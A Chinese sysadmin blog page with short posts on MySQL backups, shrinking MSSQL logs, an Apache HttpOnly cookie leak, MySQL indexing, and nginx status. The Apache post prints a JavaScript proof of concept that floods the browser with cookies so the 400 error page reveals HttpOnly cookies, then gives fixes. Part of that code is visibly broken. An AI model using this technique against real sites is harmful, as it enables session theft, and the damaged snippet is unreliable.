小型应用Mysql比较安全的备份

作者:linux120 发布时间:December 30, 2012 分类:服务器配置

mysql备份可以停库的时候直接将文件打包,也可以使用mysqldump导出,如下是mysqldump导出时不同引擎的方案。
针对MYISAM存储引擎
mysqldump -uroot -p123456 --lock-all-tables backupdb> backup.sql
针对INNODB存储引擎
mysqldump -uroot -p123456 --skip-opt --single-transaction --add-drop-table --create-options --quick --extended-insert --set-charset --disable-keys backupdb> backup.sql

收缩MSSQL日志文件

作者:linux120 发布时间:December 28, 2012 分类:服务器维护

D盘告急,经查数据库日志文件为40G

通过下列语句间接收缩数据库日志文件大小。

backup log db_name WITH NO_LOG
backup log db_name WITH TRUNCATE_ONLY
DBCC SHRINKDATABASE(db_name)

db_name为数据库名。

Apache HttpOnly Cookie XSS跨站漏洞

作者:linux120 发布时间:December 26, 2012 分类:服务器维护

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}

function makeRequest() {
setCookies();

function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match

 content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/
(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}

makeRequest();

你就能看见华丽丽的400错误包含着cookie信息。
解决办法很简单:
1、升级apache到最新版本。
2、在httpd.conf中定义400错误为具体的页面,不使用系统自带的就行了。

Mysql使用索引时需要记住的技巧

作者:linux120 发布时间:December 24, 2012 分类:服务器配置

1对于小表来说,使用索引对于性能不会有任何提高.
2当你的索引列中有极多的不同的数据和空值时索引会使性能有极大的提高.
3当查询要返回的数据很少时索引可以优化你的查询 比较好的情况是少于全部数据的.
25% 如果你要返回的数据很多时索引会加大系统开销.
4索引可以提高数据的返回速度 但是它使得数据的更新操作变慢在对记录和索引进行更新时请不要忘记这一点如果要进行大量的更新操作在你执行更新操作时请不要忘记先删除索引当执行完更新操作后只需要简单的恢复索引即可对于一次特定的操作系统可以保存删除的索引18 个小时在这个时间内数据更新完后你可以恢复它.
5索引会占用你的数据库的空间 如果你的数据库管理系统允许你管理数据库的磁盘空间那么在设计数据库的可用空间时要考虑索引所占用的空间.
6对字段的索引已经对两个表进行了归并操作 这一技术可以极大地提高归并的速度.
7大多数数据库系统不允许你对视图创建索引 如果你的数据库系统允许这样做那么可以使用这种方法来在SELECT 语句中对视图的数据进行排序很不巧一些数据库
系统中也不允许在视图中使用ORDERY BY 子句.
8不要创建对经常需要更新或修改的字段创建索引 更新索引的开销会降低你所期望获得的性能.
9不要将索引与表存储在同一个驱动器上,分开存储会去掉访问的冲突从而使结果返回得更快.

如何查看nginx的运行状态

作者:linux120 发布时间:December 22, 2012 分类:服务器配置

首先要查看nginx的status需要在编译nginx的时候加上--with-http_stub_status_module

然后在nginx.conf的server段中定义类似如下内容:
location /status {
stub_status on;
access_log off;
allow SOME.IP.ADD.RESS;
deny all;
}
访问http://ip.ad.dr.ess/status
Active connections: 1597
server accepts handled requests
3077942 3077942 7823838
Reading: 41 Writing: 83 Waiting: 1473
active connections — 对后端发起的活动连接数 server accepts handled requests — nginx 总共处理了 3077942 个连接, 成功创建 3077942 次握手 (证明中间没有失败的), 总共处理了 7823838 个请求 reading — nginx 读取到客户端的Header信息数 writing — nginx 返回给客户端的Header信息数 waiting — 开启 keep-alive 的情况下,这个值等于 active – (reading + writing),意思就是Nginx说已经处理完正在等候下一次请求指令的驻留连接